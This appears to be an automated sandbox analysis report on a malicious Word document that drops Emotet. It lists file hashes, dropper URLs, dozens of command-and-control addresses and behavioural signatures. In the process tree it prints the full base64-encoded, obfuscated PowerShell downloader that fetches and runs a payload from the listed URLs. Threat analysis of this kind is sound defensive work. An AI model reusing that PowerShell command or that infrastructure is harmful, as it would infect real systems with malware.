Analysis
- max time kernel
145s - max time network
148s - platform
windows10_x64 - resource
win10 - submitted
14/10/2020, 21:10
Static task
static1
Behavioral task
behavioral1
Sample
DAT 205-141020.doc
Resource
win7v200722
General
- Target DAT 205-141020.doc
- Size 133KB
- Sample201014-aslxlpqxwj
- SHA256 81fe94212cf4c26e9635a6db01759727fc022e22c74592b35d0ef2e14ccc2eb4
- MD5 7819250dbde3da20659ce85cdabc905e
- SHA1 a51c302417377faaf41f39eea8c894c25b26a533
- SHA512 9c8aa189168724b65ba0d9ce86b588934390f47e328e8ec5cba235aa236b82fe74197c600d782b75ff845631e0afbb5cc154eec79700d5c34a75e1aa264800b6
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://transfersuvan.com/wp-admin/07HDv9jur/
-
exe.dropper
http://colfarse.com.ar/colfar/A/
-
exe.dropper
http://ruralagricola.com.br/wp-admin/HZ5sy3nL7/
-
exe.dropper
http://vzminternational.com.br/wp-content/bD4sA/
-
exe.dropper
http://intc.solutions/wp-content/ig9N/
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exe.dropper
http://helionspharmaceutical.com/wp-admin/gO0/
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exe.dropper
http://uniteddatabase.net/wp-admin/SjcXyYo/
Extracted
-
emotet
-
Epoch3
-
125.200.20.233:80
-
93.186.197.189:7080
-
188.166.220.180:7080
-
192.175.111.217:7080
-
118.243.83.70:80
-
103.80.51.61:8080
-
185.80.172.199:80
-
172.96.190.154:8080
-
116.202.10.123:8080
-
46.105.131.68:8080
-
223.17.215.76:80
-
192.210.217.94:8080
-
190.194.12.132:80
-
115.79.59.157:80
-
190.191.171.72:80
-
24.231.51.190:80
-
203.153.216.178:7080
-
175.103.38.146:80
-
36.91.44.183:80
-
213.165.178.214:80
-
113.203.238.130:80
-
91.83.93.103:443
-
153.229.219.1:443
-
126.126.139.26:443
-
113.193.239.51:443
-
77.74.78.80:443
-
37.187.100.220:7080
-
198.20.228.9:8080
-
190.117.101.56:80
-
115.79.195.246:80
-
73.55.128.120:80
-
185.208.226.142:8080
-
190.96.15.50:443
-
157.7.164.178:8081
-
79.133.6.236:8080
-
116.91.240.96:80
-
103.93.220.182:80
-
50.116.78.109:8080
-
192.241.220.183:8080
-
8.4.9.137:8080
-
91.75.75.46:80
-
192.163.221.191:8080
-
162.144.145.58:8080
-
190.164.135.81:80
-
5.79.70.250:8080
-
46.32.229.152:8080
-
88.247.58.26:80
-
183.77.227.38:80
-
47.154.85.229:80
-
179.5.118.12:80
-
143.95.101.72:8080
-
103.229.73.17:8080
-
109.13.179.195:80
-
195.201.56.70:8080
-
119.92.77.17:80
-
75.127.14.170:8080
-
172.105.78.244:8080
-
139.59.12.63:8080
-
203.56.191.129:8080
-
202.29.237.113:8080
-
185.142.236.163:443
-
178.33.167.120:8080
-
60.125.114.64:443
-
78.186.65.230:80
-
74.208.173.91:8080
-
2.58.16.86:8080
-
139.59.61.215:443
-
190.85.46.52:7080
-
121.117.147.153:443
-
190.192.39.136:80
-
42.200.96.63:80
-
94.212.52.40:80
-
58.27.215.3:8080
-
45.239.204.100:80
-
180.148.4.130:8080
-
120.51.34.254:80
-
113.161.148.81:80
-
54.38.143.245:8080
-
37.46.129.215:8080
-
41.185.29.128:8080
-
37.205.9.252:7080
-
118.33.121.37:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 960 688 POwersheLL.exe 73 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1912-15-0x00000000022D0000-0x00000000022EF000-memory.dmp emotet behavioral2/memory/1912-16-0x00000000022F0000-0x000000000230D000-memory.dmp emotet behavioral2/memory/3012-19-0x0000000002180000-0x000000000219F000-memory.dmp emotet behavioral2/memory/3012-20-0x00000000021A0000-0x00000000021BD000-memory.dmp emotet - Blacklisted process makes network request 3 IoCs
flow pid Process 15 960 POwersheLL.exe 28 960 POwersheLL.exe 32 960 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 1912 U9pruuf.exe 3012 winmmbase.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\vbajet32\winmmbase.exe U9pruuf.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3544 WINWORD.EXE 3544 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 960 POwersheLL.exe 960 POwersheLL.exe 960 POwersheLL.exe 3012 winmmbase.exe 3012 winmmbase.exe 3012 winmmbase.exe 3012 winmmbase.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 960 POwersheLL.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 3544 WINWORD.EXE 3544 WINWORD.EXE 3544 WINWORD.EXE 3544 WINWORD.EXE 3544 WINWORD.EXE 3544 WINWORD.EXE 3544 WINWORD.EXE 3544 WINWORD.EXE 3544 WINWORD.EXE 1912 U9pruuf.exe 3012 winmmbase.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 960 wrote to memory of 1912 960 POwersheLL.exe 82 PID 960 wrote to memory of 1912 960 POwersheLL.exe 82 PID 960 wrote to memory of 1912 960 POwersheLL.exe 82 PID 1912 wrote to memory of 3012 1912 U9pruuf.exe 83 PID 1912 wrote to memory of 3012 1912 U9pruuf.exe 83 PID 1912 wrote to memory of 3012 1912 U9pruuf.exe 83
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DAT 205-141020.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3544
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C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABGAHMAZwA2AGgANwA3AD0AWwBjAGgAYQByAF0ANAAyADsAJABKAGcAMwB2AG8ANQA3AD0AKAAoACcAUQBtACcAKwAnAGMAJwApACsAJwBwAGkAJwArACcANQB5ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgBWADoAdQBTAGUAUgBQAFIAbwBGAEkATABlAFwAdABjAGUAcQBCAFcAbQBcAEQAYwB4AFcARwBDAEsAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAGAAVQBgAFIAaQB0AFkAYABwAHIAbwBUAE8AQwBgAG8AbAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxACcAKwAoACcAMgAnACsAJwAsACAAdAAnACkAKwAnAGwAcwAnACsAKAAnADEAMQAsACAAdAAnACsAJwBsAHMAJwApACkAOwAkAEwAawBtAG8AcABvAHoAIAA9ACAAKAAnAFUAOQAnACsAKAAnAHAAJwArACcAcgB1AHUAJwApACsAJwBmACcAKQA7ACQAWQBnAGoAbgAzAGMAeQA9ACgAJwBHAGoAJwArACcAcgAnACsAKAAnAGIAJwArACcAZQBsADMAJwApACkAOwAkAEQAegBkAGcAdQB5AF8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AJwArACcAVAAnACsAJwBjAGUAJwArACcAcQBiAHcAbQB7ADAAfQAnACsAKAAnAEQAYwB4ACcAKwAnAHcAZwAnACkAKwAnAGMAawAnACsAJwB7ADAAfQAnACkAIAAtAGYAWwBDAEgAQQByAF0AOQAyACkAKwAkAEwAawBtAG8AcABvAHoAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABGAHgANQB6AHUAOAA5AD0AKAAnAEsAJwArACgAJwBuADQAJwArACcAagB4ADQAJwApACsAJwBuACcAKQA7ACQATwA1ADgAMwBsAGsAaQA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBjAEwASQBlAG4AdAA7ACQAUABuAG0AaAA2ADIAaAA9ACgAKAAnAGgAJwArACcAdAAnACsAJwB0AHAAOgAvAC8AJwApACsAKAAnAHQAcgAnACsAJwBhAG4AcwAnACsAJwBmACcAKQArACcAZQAnACsAJwByACcAKwAnAHMAdQAnACsAJwB2ACcAKwAoACcAYQBuAC4AYwAnACsAJwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwAC0AYQBkAG0AaQBuACcAKwAnAC8AJwApACsAJwAwACcAKwAnADcAJwArACgAJwBIAEQAJwArACcAdgAnACkAKwAnADkAagAnACsAKAAnAHUAcgAnACsAJwAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgAnACsAJwAvAC8AJwArACcAYwBvAGwAZgBhAHIAJwApACsAJwBzACcAKwAoACcAZQAuAGMAJwArACcAbwBtACcAKQArACgAJwAuACcAKwAnAGEAcgAvAGMAbwAnACkAKwAoACcAbAAnACsAJwBmAGEAJwApACsAKAAnAHIALwBBAC8AKgAnACsAJwBoAHQAdABwACcAKwAnADoAJwApACsAKAAnAC8ALwByACcAKwAnAHUAJwApACsAKAAnAHIAYQBsAGEAZwByACcAKwAnAGkAJwApACsAJwBjAG8AJwArACgAJwBsAGEAJwArACcALgBjACcAKQArACcAbwAnACsAKAAnAG0ALgBiACcAKwAnAHIAJwApACsAKAAnAC8AJwArACcAdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACcALwAnACsAKAAnAEgAWgAnACsAJwA1AHMAJwApACsAKAAnAHkAJwArACcAMwBuACcAKQArACgAJwBMACcAKwAnADcAJwArACcALwAqAGgAdAAnACkAKwAoACcAdAAnACsAJwBwADoAJwApACsAJwAvAC8AJwArACcAdgB6ACcAKwAoACcAbQBpACcAKwAnAG4AJwApACsAJwB0ACcAKwAoACcAZQByACcAKwAnAG4AYQB0AGkAJwApACsAKAAnAG8AbgAnACsAJwBhAGwAJwApACsAJwAuACcAKwAnAGMAbwAnACsAJwBtACcAKwAoACcALgBiACcAKwAnAHIALwB3AHAALQBjACcAKwAnAG8AJwApACsAKAAnAG4AdAAnACsAJwBlACcAKQArACgAJwBuAHQALwBiACcAKwAnAEQANABzACcAKQArACgAJwBBAC8AJwArACcAKgAnACkAKwAnAGgAJwArACgAJwB0AHQAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AaQAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGMALgBzAG8AbAB1ACcAKQArACgAJwB0AGkAJwArACcAbwAnACkAKwAnAG4AJwArACcAcwAnACsAKAAnAC8AdwAnACsAJwBwAC0AYwAnACkAKwAnAG8AbgAnACsAJwB0AGUAJwArACgAJwBuAHQALwAnACsAJwBpAGcAJwApACsAJwA5ACcAKwAoACcATgAnACsAJwAvACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKwAnAC8AaAAnACkAKwAoACcAZQBsACcAKwAnAGkAJwApACsAKAAnAG8AJwArACcAbgBzACcAKQArACgAJwBwAGgAYQByAG0AYQBjACcAKwAnAGUAJwArACcAdQB0ACcAKQArACgAJwBpAGMAJwArACcAYQAnACkAKwAnAGwAJwArACcALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AYQAnACkAKwAoACcAZAAnACsAJwBtAGkAbgAvAGcATwAwAC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKwAnAHUAJwArACcAbgBpAHQAJwApACsAKAAnAGUAZABkACcAKwAnAGEAdABhACcAKQArACcAYgBhACcAKwAoACcAcwBlAC4AbgBlAHQAJwArACcALwB3AHAAJwApACsAKAAnAC0AYQBkAG0AJwArACcAaQBuACcAKQArACcALwAnACsAJwBTACcAKwAoACcAagBjAFgAJwArACcAeQAnACkAKwAnAFkAbwAnACsAJwAvACcAKQAuACIAcwBQAGAATABJAFQAIgAoACQARgBzAGcANgBoADcANwApADsAJABBADkAdwBpAHYAdAAxAD0AKAAoACcAUwA4ACcAKwAnAGcAJwApACsAJwAwAG4AJwArACcAdwBnACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFcAbABnAGsAOQBwAHoAIABpAG4AIAAkAFAAbgBtAGgANgAyAGgAKQB7AHQAcgB5AHsAJABPADUAOAAzAGwAawBpAC4AIgBEAE8AVwBgAE4ATABgAE8AYQBgAEQAZgBJAGwARQAiACgAJABXAGwAZwBrADkAcAB6ACwAIAAkAEQAegBkAGcAdQB5AF8AKQA7ACQARQBzAGsAOQAyAHEAagA9ACgAJwBGACcAKwAoACcAOQA5AHAAagAnACsAJwBwACcAKQArACcAdAAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQARAB6AGQAZwB1AHkAXwApAC4AIgBMAGUAbgBnAGAAVABoACIAIAAtAGcAZQAgADIAOAA3ADUAMAApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACgAJABEAHoAZABnAHUAeQBfACkAOwAkAFEAXwBnAHoAdABuAHkAPQAoACgAJwBIAF8AJwArACcAeQAxACcAKQArACgAJwBfACcAKwAnADkANAAnACkAKQA7AGIAcgBlAGEAawA7ACQASQBjAGUAdABxAGQAdgA9ACgAJwBPAF8AJwArACcAeAB2ACcAKwAoACcAawBrACcAKwAnAGsAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAYgAxAHgAXwA0AHgAPQAoACgAJwBQACcAKwAnAGEAcQBxAHcAJwApACsAJwBtAGoAJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:960 -
C:\Users\Admin\Tceqbwm\Dcxwgck\U9pruuf.exe"C:\Users\Admin\Tceqbwm\Dcxwgck\U9pruuf.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1912 -
C:\Windows\SysWOW64\vbajet32\winmmbase.exe"C:\Windows\SysWOW64\vbajet32\winmmbase.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3012
-
-